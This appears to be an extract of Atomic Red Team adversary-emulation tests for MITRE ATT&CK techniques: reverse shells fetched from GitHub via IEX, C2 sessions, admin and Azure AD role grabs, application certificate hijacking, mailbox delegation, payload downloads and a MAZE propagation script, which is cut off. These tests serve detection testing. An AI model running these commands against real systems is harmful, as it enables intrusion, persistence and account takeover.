IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')
Invoke-PowerShellIcmp -IPAddress #{server_ip}
T1095
powershell
windows
Netcat C2
Non-Application Layer Protocol
Start C2 Session Using Ncat To start the listener on a Linux device, type the following: nc -l -p <port>
cmd /c "#{ncat_exe}" #{server_ip} #{server_port}
T1095
powershell
windows
Powercat C2
Non-Application Layer Protocol
Start C2 Session Using Powercat To start the listener on a Linux device, type the following: nc -l -p <port>
IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
powercat -c #{server_ip} -p #{server_port}
T1098
powershell
elevated
windows
Admin Account Manipulate
Account Manipulation
Manipulate Admin Account Name
$x = Get-Random -Minimum 2 -Maximum 9999
$y = Get-Random -Minimum 2 -Maximum 9999
$z = Get-Random -Minimum 2 -Maximum 9999
$w = Get-Random -Minimum 2 -Maximum 9999
Write-Host HaHa_$x$y$z
$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "User" -and $_.PrincipalSource -match "Local"} | Select Name
foreach($member in $fmm) {
if($member -like "*Administrator*") {
$account = $member.Name.Split("\")[-1] # strip computername\
$originalDescription = (Get-LocalUser -Name $account).Description
Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation
Write-Host "Successfully Renamed $account Account on " $Env:COMPUTERNAME
}
}
T1098
powershell
windows
Domain Account and Group Manipulate
Account Manipulation
Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins). The quickest way to run it is against a domain controller, using -Session of Invoke-AtomicTest. Alternatively, you need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to create the user and alter the group. Automatic installation of the dependency requires an elevated session, and is unlikely to work with Powershell Core (untested). If you consider running this test against a production Active Directory, the good practise is to create a dedicated service account whose delegation is given onto a dedicated OU for user creation and deletion, as well as delegated as group manager of the target group. Example: Invoke-AtomicTest -Session $session 'T1098' -TestNames "Domain Account and Group Manipulate" -InputArgs @{"group" = "DNSAdmins" }
$x = Get-Random -Minimum 2 -Maximum 99
$y = Get-Random -Minimum 2 -Maximum 99
$z = Get-Random -Minimum 2 -Maximum 99
$w = Get-Random -Minimum 2 -Maximum 99
Import-Module ActiveDirectory
$account = "#{account_prefix}-$x$y$z"
New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args}
Add-ADGroupMember "#{group}" $account
T1098
powershell
azure-ad
Azure AD - adding user to Azure AD role
Account Manipulation
The adversaries want to add user to some Azure AD role. Threat actor may be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, Privileged Authentication Administrator (this role can reset Global Administrator password!). By default, the role Global Reader is assigned to the user principal in this test. The account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD. Detection hint - check Activity "Add member to role" in Azure AD Audit Logs. In targer you will also see User as a type.
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential
$user = Get-AzureADUser -Filter "DisplayName eq '#{user_principal_name}' or UserPrincipalName eq '#{user_principal_name}'"
if ($user -eq $null) { Write-Warning "User not found"; exit }
$role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId
Write-Host "User $($user.DisplayName) was added to $($role.DisplayName) role"
T1098
powershell
azure-ad
Azure AD - adding service principal to Azure AD role
Account Manipulation
The adversaries want to add service principal to some Azure AD role. Threat actor may be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, Privileged Authentication Administrator (this role can reset Global Administrator password!). By default, the role Global Reader is assigned to service principal in this test. The account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD. Detection hint - check Activity "Add member to role" in Azure AD Audit Logs. In targer you will also see Service Principal as a type.
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential
$sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '#{service_principal_name}'"
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.DisplayName)"
T1098
powershell
iaas:azure
Azure - adding user to Azure role in subscription
Account Manipulation
The adversaries want to add user to some Azure role, also called Azure resource role. Threat actor may be interested primarily in highly privileged roles, e.g. Owner, Contributor. By default, the role Reader is assigned to user in this test. New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group. The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write (e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All and Microsoft Graph Directory.Read.All permissions. Detection hint - check Operation Name "Create role assignment" in subscriptions Activity Logs.
Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzAccount -Credential $Credential
$user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}" -or $_.UserPrincipalName -eq "#{user_principal_name}" }
if ($user -eq $null) { Write-Warning "User not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }
New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"
T1098
powershell
iaas:azure
Azure - adding service principal to Azure role in subscription
Account Manipulation
The adversaries want to add service principal to some Azure role, also called Azure resource role. Threat actor may be interested primarily in highly privileged roles, e.g. Owner, Contributor. By default, the role Reader is assigned to service principal in this test. New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group. The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write (e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All and Microsoft Graph Directory.Read.All permissions. Detection hint - check Operation Name "Create role assignment" in subscriptions Activity Logs.
Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzAccount -Credential $Credential
$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }
New-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"
T1098
powershell
azure-ad
Azure AD - adding permission to application
Account Manipulation
The adversaries want to add permission to newly created application. Application could be then used for persistence or for further operation in the attacked infrastructure. Permissions like AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory in particular can be a valuable target for a threat actor. This technique will create a new app, with the provided name, and give it the provided permission. But if you prefer to add credentials to an existing app, replace in the code: "Get-AzureADApplication" instead of "New-AzureADServicePrincipal". The DirectoryRecommendations.Read.All permissions has been selected as the default. The account you use to run the PowerShell command should have Global Administrator/Application Administrator/Cloud Application Administrator role in your Azure AD. Detection hint - check Operation Name "Add app role assignment to service principal" in subscriptions Activity Logs. You can also take a look at the materials: https://learnsentinel.blog/2022/01/04/azuread-privesc-sentinel/ https://github.com/reprise99/Sentinel-Queries https://docs.google.com/presentation/d/1AWx1w0Xcq8ENvOmSjAJswEgEio-il09QWZlGg9PbHqE/edit#slide=id.g10460eb209c_0_2766 https://gist.github.com/andyrobbins/7c3dd62e6ed8678c97df9565ff3523fb
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential
$aadApplication = New-AzureADApplication -DisplayName "#{application_name}"
$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId
#$aadApplication = Get-AzureADApplication -Filter "DisplayName eq '#{application_name}'"
#Get Service Principal of Microsoft Graph Resource API
$graphSP = Get-AzureADServicePrincipal -Filter "DisplayName eq 'Microsoft Graph'"
#Initialize RequiredResourceAccess for Microsoft Graph Resource API
$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$requiredGraphAccess.ResourceAppId = $graphSP.AppId
$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]
#Set Application Permissions
$ApplicationPermissions = @('#{application_permission}')
$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}
if($reqPermission)
{
$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$resourceAccess.Type = "Role"
$resourceAccess.Id = $reqPermission.Id
#Add required app permission
$requiredGraphAccess.ResourceAccess.Add($resourceAccess)
}
else
{
Write-Host "App permission $permission not found in the Graph Resource API" -ForegroundColor Red
}
#Add required resource accesses
$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]
$requiredResourcesAccess.Add($requiredGraphAccess)
#Set permissions in existing Azure AD App
Set-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess
$servicePrincipal = Get-AzureADServicePrincipal -Filter "AppId eq '$($aadApplication.AppId)'"
New-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id
T1098
powershell
windows
Domain Password Policy Check: Short Password
Account Manipulation
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
T1098
powershell
windows
Domain Password Policy Check: No Number in Password
Account Manipulation
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
T1098
powershell
windows
Domain Password Policy Check: No Special Character in Password
Account Manipulation
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
T1098
powershell
windows
Domain Password Policy Check: No Uppercase Character in Password
Account Manipulation
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
T1098
powershell
windows
Domain Password Policy Check: No Lowercase Character in Password
Account Manipulation
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
T1098
powershell
windows
Domain Password Policy Check: Only Two Character Classes
Account Manipulation
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
T1098
powershell
windows
Domain Password Policy Check: Common Password Use
Account Manipulation
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
T1098.001
powershell
azure-ad
Azure AD Application Hijacking - Service Principal
Additional Cloud Credentials
Add a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application. This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential > $null
$sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$credNotAfter = (Get-Date).AddDays(1)
$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry
$cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
Write-Host "Generated certificate ""$($cert.Thumbprint)"""
New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter
Start-Sleep -s 30
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"
T1098.001
powershell
azure-ad
Azure AD Application Hijacking - App Registration
Additional Cloud Credentials
Add a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application. This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential > $null
$app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
if ($app -eq $null) { Write-Warning "Application not found"; exit }
# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$credNotAfter = (Get-Date).AddDays(1)
$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry
$cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
Write-Host "Generated certificate ""$($cert.Thumbprint)"""
New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter
Start-Sleep -s 30
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"
T1098.002
powershell
office-365
EXO - Full access mailbox permission granted to a user
Additional Email Delegate Permissions
Give a nominated user, full mailbox delegation access of another user. This can be used by an adversary to maintain persistent access to a target's mailbox in M365.
Import-Module ExchangeOnlineManagement
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Add-MailboxPermission -Identity "#{delegate_target}" -User "#{operator_mailbox}" -AccessRights FullAccess -InheritanceType All
Disconnect-ExchangeOnline -Confirm:$false
T1098.003
powershell
azure-ad
Azure AD - Add Company Administrator Role to a user
Additional Cloud Roles
Add an existing Azure user account the Company Administrator Role.
Import-Module MSOnline
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-MsolService -Credential $Credential
Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "#{target_user}"
T1098.003
powershell
azure-ad
Simulate - Post BEC persistence via user password reset followed by user added to company administrator role
Additional Cloud Roles
This test looks at simulating the an adversary described in the following blog post. It involves resetting the password of a normal user and adding to the company administrator role within M365. Reference: https://www.huntress.com/blog/business-email-compromise-via-azure-administrative-privileges
Import-Module MSOnline
Import-Module AzureAD
$password = ConvertTo-SecureString -String "#{auth_password}" -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password
$targetsecurepw = ConvertTo-SecureString -String "#{target_password}" -AsPlainText -Force
Connect-MsolService -Credential $credential -ErrorAction:SilentlyContinue
Connect-AzureAD -Credential $credential -ErrorAction:SilentlyContinue
#Saving the ObjectId of the target_user into a variable
$target_objid = Get-AzureADUser -filter "userPrincipalName eq '#{target_user}'" | Select-Object -ExpandProperty ObjectId
#Reset the password of the target_user
Set-AzureADUserPassword -ObjectId $target_objid -Password $targetsecurepw -ErrorAction:SilentlyContinue
#Adding target_user
Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "#{target_user}"
Add-MsolRoleMember -RoleName "Global Reader" -RoleMemberEmailAddress "#{target_user}"
T1105
powershell
windows
certutil download (verifyctl)
Ingress Tool Transfer
Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works!
$datePath = "certutil-$(Get-Date -format yyyy_MM_dd)"
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f #{remote_file}
Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }
T1105
powershell
windows
Windows - PowerShell Download
Ingress Tool Transfer
This test uses PowerShell to download a payload. This technique is used by multiple adversaries and malware families.
(New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}")
T1105
powershell
windows
File Download via PowerShell
Ingress Tool Transfer
Use PowerShell to download and write an arbitrary file from the internet. Example is from the 2021 Threat Detection Report by Red Canary.
(New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}
T1105
powershell
windows
Download a file with IMEWDBLD.exe
Ingress Tool Transfer
Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file. Downloaded files can be found in "%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>" or `%LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>. Run "Get-ChildItem -Path C:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\INetCache\ -Include <FILENAME>* -Recurse -Force -File -ErrorAction SilentlyContinue" without quotes and adding the correct username and file name to locate the file.
$imewdbled = $env:SystemRoot + "\System32\IME\SHARED\IMEWDBLD.exe"
& $imewdbled #{remote_url}
T1105
powershell
windows
MAZE Propagation Script
Ingress Tool Transfer
This test simulates MAZE ransomware's propogation script that searches through a list of computers, tests connectivity to them, and copies a binary file to the Windows\Temp directory of each one. Upon successful execution, a specified binary file will attempt to be copied to each online machine, a list of the online machines, as well as a list of offline machines will be output to a specified location. Reference: https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html
$machine_list = "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt"
$offline_list = "PathToAtomicsFolder\..\ExternalPayloads\T1105OfflineHosts.txt"
$completed_list = "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt"
foreach ($machine in get-content -path "$machine_list")
{if (test-connection -Count 1 -computername $machine -quiet)
{cmd /c copy "#{binary_file}" "\\$machine\#{remote_drive_letter}$#{exe_remote_folder}"
echo $machine >> "$completed_list"
